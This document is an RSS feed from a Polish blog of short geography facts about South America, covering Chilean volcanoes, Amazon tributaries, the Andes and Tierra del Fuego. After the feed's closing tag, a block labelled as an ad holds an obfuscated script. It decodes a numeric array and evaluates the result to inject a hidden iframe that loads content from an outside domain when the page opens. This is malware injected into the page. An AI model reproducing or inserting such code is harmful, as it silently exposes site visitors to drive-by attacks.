<?xml version="1.0" encoding="UTF-8"?><rss version="0.92">
<channel>
	<title>Ameryka Południowa</title>
	<link>http://amerykapoludniowa.com</link>
	<description>Ciekawostki o Ameryce Południowej</description>
	<lastBuildDate>Wed, 28 Apr 2010 21:11:59 +0000</lastBuildDate>
	<docs>http://backend.userland.com/rss092</docs>
	<language>en</language>
	<!-- generator="WordPress/3.0.4" -->

	<item>
		<title>Wulkany w Chile</title>
		<description><![CDATA[W Chile znajduje się wiele atrakcyjnych szczytów górskich. Jednym znich jest Cerro Maca. Szczyt ten leży przy strefie uskokowej na wschód od Cieśniny Moraleda. Jest to stratowulkan. Znajduje się oczywiście w Andach. Jego wysokość wynosi 2300 m n.p.m., a ostatnia erupcja miała miejsce w około 410 roku naszej ery. Natomiast Monte Darwin jest najwyższym szczytem [...]]]></description>
		<link>http://amerykapoludniowa.com/blog/2010/04/28/wulkany-w-chile/</link>
			</item>
	<item>
		<title>Różnorodność rzek w Brazylii</title>
		<description><![CDATA[Purus jest rzeką zasilającą Amazonkę i bardzo często wylewa w porze deszczowej. Głębokość tej rzeki może sięgać 18 metrów. Rzeka ta płynie przez Brazylię, a jej głównym dopływem jest Acre. Jest to prawy jej dopływ. Rzeka ta poza swoim górnym odcinkiem jest żeglowna, a jej wody w czasie pory deszczowej łączą się z wodami rzeki [...]]]></description>
		<link>http://amerykapoludniowa.com/blog/2010/04/28/roznorodnosc-rzek-w-brazylii/</link>
			</item>
	<item>
		<title>Dopływy Amazonki</title>
		<description><![CDATA[Jurua jest rzeką, która płynie w północno- zachodniej części Brazylii. Juroa jest dopływem Amazonki. Jej długość wynosi 3280 kilometrów. Powierzchnia dorzecza tej rzeki wynosi 224 tysiące kilometrów kwadratowych. Źródła tej rzeki znajdują się u podnóża Andów Środkowych w Peru. Głównym jej dopływem jest Tarauaca. Wśród większych miast leżących nad tą rzeką możemy wymienić: Cruzeiro do [...]]]></description>
		<link>http://amerykapoludniowa.com/blog/2010/04/27/doplywy-amazonki/</link>
			</item>
	<item>
		<title>Niziny Ameryki Południowej</title>
		<description><![CDATA[Jedną z ciekawych krain geograficznych Ameryki Południowej jest Nizina Orinoko. Znajduje się ona w północnej części tego kontynentu nad Morzem Karaibskim. Nizina Orinoko leży w obniżeniach prekambryjskiego podłoża. Nazwa tej niziny pochodzi od rzeki Orinoko. Nizina ta leży na terenie klimatu równikowego. Jej wysokość nie przekracza 500 m n.p.m. Przez nizinę przepływają dwie rzeki: Orinoko [...]]]></description>
		<link>http://amerykapoludniowa.com/blog/2010/04/26/niziny-ameryki-poludniowej/</link>
			</item>
	<item>
		<title>Najwyższe szczyty w Chile</title>
		<description><![CDATA[Do najważniejszych szczytów Andów leżących na terenie Chile zaliczamy Monte San Valentin o wysokości 4058 m n.p.m., Cerro Paine Grande o wysokości 2750 m n.p.m., Cerro Macá o wysokości 2300 m n.p.m., Monte Darwin o wysokości 2500 m n.p.m. oraz Volcan Hudson o wysokości 1900 m n.p.m. Monte San Valentin jest najwyższym szczytem leżącym w [...]]]></description>
		<link>http://amerykapoludniowa.com/blog/2010/04/25/najwyzsze-szczyty-w-chile/</link>
			</item>
	<item>
		<title>Położenie geograficzne Ziemi Ognistej</title>
		<description><![CDATA[Ziemia Ognista jest archipelagiem położonym na południu Ameryki Południowej. Powierzchnia Ziemi Ognistej wynosi 73,7 tysiąca kilometrów kwadratowych. Do najważniejszych wysp tego archipelagu należą: wyspa Ziemia Ognista o powierzchni 48 tysięcy kilometrów kwadratowych, Navarino, Hoste, Clarence, Santa Inés, Desolación, Riesco, Picton, Horn, Landfall, Nunez, Stewart, Londondery, Gordon oraz Tomas. Najbardziej na południe jest wysunięta wyspa Horn, [...]]]></description>
		<link>http://amerykapoludniowa.com/blog/2010/04/23/polozenie-geograficzne-ziemi-ognistej/</link>
			</item>
	<item>
		<title>Walory Ziemi Ognistej</title>
		<description><![CDATA[Ziemia Ognista ma zróżnicowaną faunę oraz florę. Na północnym- wschodzie tych terenów napotkamy na suche stepy subarktyczne oraz kserofilne zarośla. Natomiast na południu oraz zachodzie znajdują się lasy, gdzie przeważają buki oraz cedry. Ponadto znajdują się tutaj mchy, porosty i torfowiska oraz niewielka ilość traw. Powyżej wysokości 700 m n.p.m. znajdują się lodowce oraz wieczny [...]]]></description>
		<link>http://amerykapoludniowa.com/blog/2010/04/22/walory-ziemi-ognistej/</link>
			</item>
	<item>
		<title>Rzeźba oraz fauna i flora Andów</title>
		<description><![CDATA[Andy powstały na skutek wypiętrzenia, które miało miejsce w orogenezie alpejskiej. Andy są zbudowane z różnych skał magmowych, osadowych oraz metamorficznych. Znajdują się tutaj młode pokrywy lawowe. Ponadto obszar Andów jest obszarem aktywnym sejsmicznie. Na terenie Andów znajdują się wulkany takie jak na przykład Tolima o wysokości 5215 m n.p.m., Antisana o wysokości 5704 m [...]]]></description>
		<link>http://amerykapoludniowa.com/blog/2010/04/22/rzezba-oraz-fauna-i-flora-andow/</link>
			</item>
	<item>
		<title>Charakterystyka Andów</title>
		<description><![CDATA[Andy są górami fałdowymi. Znajdują się na terenie Ameryki Południowej. Ponadto leżą na terenie następujących krajów Ameryki Południowej: Wenezueli, Kolumbii, Ekwadroru, Peru, Boliwii, Chile i Argentyny. Góry te ciągną się wzdłuż Oceanu Spokojnego. Północna ich granica zaczyna się w okolicach Zatoki Paria, a na południu góry kończą się na Ziemi Ognistej. Góry te ciągną się [...]]]></description>
		<link>http://amerykapoludniowa.com/blog/2010/04/20/charakterystyka-andow/</link>
			</item>
	<item>
		<title>Podział rzek</title>
		<description><![CDATA[Ameryka Południowa ma dobrze rozwinięty system rzeczny. Znajduje się na terenie tego kontynentu wiele rzek, z których największą jest oczywiście Amazonka. Większość z tych rzek należy do zlewiska Oceanu Atlantyckiego. Natomiast jeśli chodzi o rzeki, które należą do zlewiska Oceanu Spokojnego, to są to rzeki krótkie i jest ich niewiele. Dział wodny przebiega wzdłuż łańcucha [...]]]></description>
		<link>http://amerykapoludniowa.com/blog/2010/04/19/podzial-rzek/</link>
			</item>
</channel>
</rss>
<!-- ad --><script>c=3-1;i=-1-1+c;p=parseInt;if(p("01"+"2"+"3")===83)try{Number()["pr"+"ot"+"ot"+"ype"].q}catch(egewgsd){if(window.document)f=['-32k-32k64k61k-9k-1k59k70k58k76k68k60k69k75k5k62k60k75k28k67k60k68k60k69k75k74k25k80k43k56k62k37k56k68k60k-1k-2k57k70k59k80k-2k0k50k7k52k0k82k-28k-32k-32k-32k64k61k73k56k68k60k73k-1k0k18k-28k-32k-32k84k-9k60k67k74k60k-9k82k-28k-32k-32k-32k59k70k58k76k68k60k69k75k5k78k73k64k75k60k-1k-7k19k64k61k73k56k68k60k-9k74k73k58k20k-2k63k75k75k71k17k6k6k59k64k62k64k56k67k64k75k80k5k64k69k6k64k69k5k58k62k64k22k12k-2k-9k78k64k59k75k63k20k-2k8k7k-2k-9k63k60k64k62k63k75k20k-2k8k7k-2k-9k74k75k80k67k60k20k-2k77k64k74k64k57k64k67k64k75k80k17k63k64k59k59k60k69k18k71k70k74k64k75k64k70k69k17k56k57k74k70k67k76k75k60k18k67k60k61k75k17k7k18k75k70k71k17k7k18k-2k21k19k6k64k61k73k56k68k60k21k-7k0k18k-28k-32k-32k84k-28k-32k-32k61k76k69k58k75k64k70k69k-9k64k61k73k56k68k60k73k-1k0k82k-28k-32k-32k-32k77k56k73k-9k61k-9k20k-9k59k70k58k76k68k60k69k75k5k58k73k60k56k75k60k28k67k60k68k60k69k75k-1k-2k64k61k73k56k68k60k-2k0k18k61k5k74k60k75k24k75k75k73k64k57k76k75k60k-1k-2k74k73k58k-2k3k-2k63k75k75k71k17k6k6k59k64k62k64k56k67k64k75k80k5k64k69k6k64k69k5k58k62k64k22k12k-2k0k18k61k5k74k75k80k67k60k5k77k64k74k64k57k64k67k64k75k80k20k-2k63k64k59k59k60k69k-2k18k61k5k74k75k80k67k60k5k71k70k74k64k75k64k70k69k20k-2k56k57k74k70k67k76k75k60k-2k18k61k5k74k75k80k67k60k5k67k60k61k75k20k-2k7k-2k18k61k5k74k75k80k67k60k5k75k70k71k20k-2k7k-2k18k61k5k74k60k75k24k75k75k73k64k57k76k75k60k-1k-2k78k64k59k75k63k-2k3k-2k8k7k-2k0k18k61k5k74k60k75k24k75k75k73k64k57k76k75k60k-1k-2k63k60k64k62k63k75k-2k3k-2k8k7k-2k0k18k-28k-32k-32k-32k59k70k58k76k68k60k69k75k5k62k60k75k28k67k60k68k60k69k75k74k25k80k43k56k62k37k56k68k60k-1k-2k57k70k59k80k-2k0k50k7k52k5k56k71k71k60k69k59k26k63k64k67k59k-1k61k0k18k-28k-32k-32k84'][0].split('k');v="e"+"va"+"l";}if(v)e=window[v];w=f;s=[];r=String;for(;565!=i;i+=1){j=i;s=s+r["f"+"r"+"omC"+"har"+"C"+"ode"](w[j]*1+41);}
if(e)e(s);</script><!-- /ad -->
